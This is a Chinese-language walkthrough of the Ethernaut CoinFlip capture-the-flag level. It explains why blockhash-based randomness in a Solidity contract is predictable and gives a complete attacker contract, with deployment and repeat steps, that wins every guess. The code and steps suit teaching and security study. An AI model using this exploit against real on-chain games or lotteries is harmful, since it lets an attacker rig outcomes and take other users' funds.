這道Blockchain CTF題目涉及一個以太坊智能合約的隨機數漏洞利用,題目要求用戶猜測一個基於區塊哈希的擲硬幣結果(true 或 false)。通過編寫攻擊合約,用戶可以在每個新區塊生成後計算正確的猜測,從而達成 CTF 挑戰的目標。
題目位置:https://ethernaut.openzeppelin.com/level/3
這種漏洞在以太坊智能合約中很常見,合約的漏洞在於其使用了可預測的區塊哈希作為隨機數來源,這使得攻擊者可以通過查詢區塊哈希輕鬆預測硬幣結果並連續猜對。
題目說明
這是擲銅板的遊戲,如果要過關必須連續猜對10次
主要功能: 用戶通過調用 flip
函數猜測硬幣結果(true 或 false)。如果猜對,consecutiveWins
增加 1;如果猜錯,consecutiveWins
重置為 0。
玩法:在chrome的console 執行 contract.flip(true)
或contract.flip(false)
來猜智能合約會拿到true或false。也可執行 contract.address
查智能合約位置,在鏈上查consecutiveWins 目前連勝幾次。
合約內容如下:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
代碼解說
合約結構與功能
- 狀態變量:
consecutiveWins
: 記錄用戶連續猜對的次數。lastHash
: 記錄上一次使用的區塊哈希值,用於防止重複使用相同的區塊哈希。FACTOR
: 一個常量,用於將區塊哈希值轉換為 0 或 1(模擬硬幣的正反面)。
- 構造函數: 初始化
consecutiveWins
為 0。 - 主要函數:
flip(bool _guess)
,根據區塊哈希生成隨機數,並與用戶的猜測_guess
進行比較。
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor() {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
...omit...
flip 函數的工作原理
獲取區塊哈希:
- 使用
blockhash(block.number - 1)
獲取前一個區塊的哈希值,並將其轉換為uint256
類型,存入blockValue
。 block.number - 1
表示前一個區塊的編號,因為當前區塊的哈希在交易執行時尚未生成。
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number - 1));
防止重複使用區塊哈希:
- 檢查
lastHash
是否等於當前的blockValue
。如果相等,則調用revert()
終止交易,防止同一區塊哈希被重複使用。換句話說就是必須等到下一個新的區塊產生才能玩這遊戲
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
生成隨機數:
- 將
blockValue
除以FACTOR
(一個大常數),得到coinFlip
,其值為 0 或 1。這是用來模擬隨機性的一種簡單方法,將區塊哈希的高位部分簡化為二元結果(0 或 1)。 - 如果
coinFlip == 1
,則side = true
;否則side = false
。這模擬了硬幣的正反面。
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
比較用戶猜測:
- 如果
side
等於用戶的輸入_guess
,則:consecutiveWins
增加 1。- 返回
true
表示猜對。
- 否則:
consecutiveWins
重置為 0。- 返回
false
表示猜錯。
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
漏洞分析
這段合約的設計看起來試圖通過區塊哈希來生成隨機數,但區塊哈希並不是一個真正安全的隨機數來源,這導致了以下漏洞:
1. 區塊哈希的可預測性
- 問題: 區塊哈希(
blockhash(block.number - 1)
)是公開數據,任何人都可以通過以太坊區塊鏈查詢到前一個區塊的哈希值。 - 影響: 攻擊者可以在調用
flip
函數之前,通過查詢前一個區塊的哈希值,計算出blockValue / FACTOR
的結果,從而預測硬幣的正反面(side
)。 - 利用方式:
- 攻擊者可以編寫一個攻擊合約,在同一交易中:
- 獲取前一個區塊的哈希值。
- 計算
blockValue / FACTOR
得到coinFlip
,進而確定side
(true 或 false)。 - 使用計算出的
side
作為_guess
參數調用flip
函數,保證每次都能猜對。
- 通過連續調用,攻擊者可以無限增加
consecutiveWins
,完成 CTF 挑戰(通常 CTF 要求達到一定的consecutiveWins
,例如 10 次)。
- 攻擊者可以編寫一個攻擊合約,在同一交易中:
2. 缺乏訪問控制
- 問題:
flip
函數是公開的(public
),任何人都可以調用,且沒有限制調用頻率或用戶身份。 - 影響: 攻擊者可以反覆調用
flip
函數,無需任何成本(除了 gas 費用),直到達成 CTF 目標。 - 利用方式: 這使得攻擊者可以通過自動化腳本或合約反覆調用
flip
,結合漏洞 1 的可預測性,輕鬆達成連續猜對。
解答步驟
準備一個攻擊合約,會通過複製 CoinFlip
合約的隨機數生成邏輯(基於區塊哈希和 FACTOR
),利用區塊哈希的公開性和可預測性,確保每次調用 flip
時都能猜對硬幣結果。只需在新區塊生成後調用 attack
函數,重複若干次即可完成 CTF 挑戰。
攻擊合約示例
以下是一個可能的攻擊合約,用於利用區塊哈希的可預測性來連續猜對硬幣結果:
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
contract CoinFlipAttacker {
ICoinFlip public target;
uint256 private FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address _targetAddress) {
target = ICoinFlip(_targetAddress);
}
function attack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
}
攻擊合約分析
接口定義:
interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}
- 作用: 定義了
CoinFlip
合約的flip
函數接口,允許攻擊合約與目標合約交互。 - 細節: 接口指定了
flip
函數接受一個布林值參數_guess
(表示猜測硬幣的正反面),並返回一個布林值(表示猜測是否正確)。
狀態變量:
contract CoinFlipAttacker {
ICoinFlip public target;
uint256 private FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
target
: 存儲目標CoinFlip
合約的地址,類型為ICoinFlip
,用於調用目標CTF合約的flip
函數。FACTOR
: 與CoinFlip
合約中相同的常量,用於將區塊哈希轉換為 0 或 1(模擬硬幣結果)。這個值約為 ( 2^{255} ),確保除法結果只有 0 或 1。
構造函數:
constructor(address _targetAddress) {
target = ICoinFlip(_targetAddress);
}
- 作用: 在部署攻擊合約時,接收CTF目標
CoinFlip
合約的地址,並將其存儲在target
變量中。 - 細節: 通過將地址轉換為
ICoinFlip
類型,攻擊合約可以調用目標合約的flip
函數。
攻擊函數:
function attack() external {
uint256 blockValue = uint256(blockhash(block.number - 1));
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
target.flip(side);
}
- 作用: 計算硬幣的正確結果(true 或 false),並調用目標CTF合約的
flip
函數進行猜測。 - 執行步驟:
- 獲取區塊哈希:
- 使用
blockhash(block.number - 1)
獲取前一個區塊的哈希值,並轉換為uint256
類型,存入blockValue
。 - 這與
CoinFlip
合約中生成隨機數的方式一致。
- 使用
- 計算硬幣結果:
- 將
blockValue
除以FACTOR
,得到coinFlip
,其值為 0 或 1。 - 使用三元運算符
coinFlip == 1 ? true : false
將coinFlip
轉換為布林值side
(true 表示硬幣正面,false 表示反面)。
- 將
- 調用目標合約:
- 使用計算出的
side
作為參數,調用target.flip(side)
,向CoinFlip
合約提交猜測。 - 由於
side
是根據相同的邏輯(區塊哈希和FACTOR
)計算的,猜測必然正確,CoinFlip
的consecutiveWins
會增加 1。
- 使用計算出的
- 獲取區塊哈希:
攻擊流程
部署攻擊合約:
- 部署
CoinFlipAttacker
,並在構造函數中傳入CTF題目CoinFlip
合約的地址。
等待新區塊:
- 由於
CoinFlip
合約中的lastHash
檢查(if (lastHash == blockValue) { revert(); }
),攻擊者必須在新區塊生成後調用attack
函數,以確保blockhash(block.number - 1)
與上一次調用的哈希值不同。 - 在以太坊主網上,區塊生成時間約為 12-15 秒,因此需要等待新區塊。
執行攻擊:
- 在新區塊生成後,調用
attack
函數。 - 攻擊合約計算與
CoinFlip
相同的隨機數結果(side
),並調用target.flip(side)
。 - 由於猜測必然正確,
CoinFlip
的consecutiveWins
增加 1。
重複執行:
- 重複以上步驟,每次在新區塊生成後調用
attack
,直到consecutiveWins
達到 CTF 挑戰的要求(例如 10 次連續猜對)。